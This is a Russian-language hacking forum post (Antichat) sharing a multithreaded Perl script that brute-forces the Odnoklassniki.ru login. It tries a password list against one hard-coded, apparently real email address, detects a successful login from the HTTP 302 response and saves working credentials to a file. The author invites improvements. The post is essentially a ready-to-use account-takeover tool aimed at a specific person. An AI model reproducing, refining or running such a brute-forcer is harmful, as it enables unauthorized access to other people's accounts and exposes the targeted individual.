Форум АНТИЧАТ - Многопоточный брутер Odnoklassniki.ru

Написан на перле .
Брутит один э-майл по списку паролей .
А вдруг кому-то пригодится .
Строго не судите , написано на скорую руку .
О багах и нужных доработках пишем тут .

Код:



#!/usr/bin/perl



use strict;

use LWP::UserAgent;

use HTTP::Cookies;

use Getopt::Std;

use threads;

##############START#################

print "\n AAAAAA OOOOOO H   H\n";

print " A    A O    O H   H\n";

print " AAAAAA O    O HHHHH\n";

print " A    A O    O H   H\n";

print " A    A OOOOOO H   H\n\n";



open (FP , '<pass.txt') || die ("No password list! \n");  # Пароли в  pass.txt

my @pass = <FP>;

close FP;



my $email = 'yusdinara@yandex.ru'; # МЫЛО!

my $i=0;

my @thr;

my $ua = LWP::UserAgent->new;

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

$ua->cookie_jar($cookies);   #Куки ;)

for (@pass)

{

my $nowpass = $_;

chomp @pass;

if($thr[$i]) {threads->object($thr[$i]->tid())->join;}

$thr[$i]=threads->create(\&brute,$email,$nowpass);



$i=($i+1) % 5; #Количество потоков  (5)



}



 foreach(threads->list) { $_->join; }



sub brute()

{



$ua->cookie_jar($cookies);

my $req = $ua->post('http://w17.odnoklassniki.ru/cdk/st.cmd/login/tkn/5622', {

'st.posted'=>'set',

'st.email'=>$_[0],

'st.password'=>$_[1],

'button_go'=>'%D0%92%D0%BE%D0%B9%D1%82%D0%B8'

})->as_string;



my $result = $req =~/302 Found/;

if ($result)

{

print "[+]OK $_[0]:$_[0]\n";

open (G , '>>good.txt');

print G $_[0].":".$_[1]."\n";

close G;

die ('PASSWORD FOUND!!!!!\n\n\n');

}

else

{

print "[-] BAD $_[0]\n";



}}



#c0ded by Xszz.AoH;

#c0pyright AoH.Team http://aoh.name;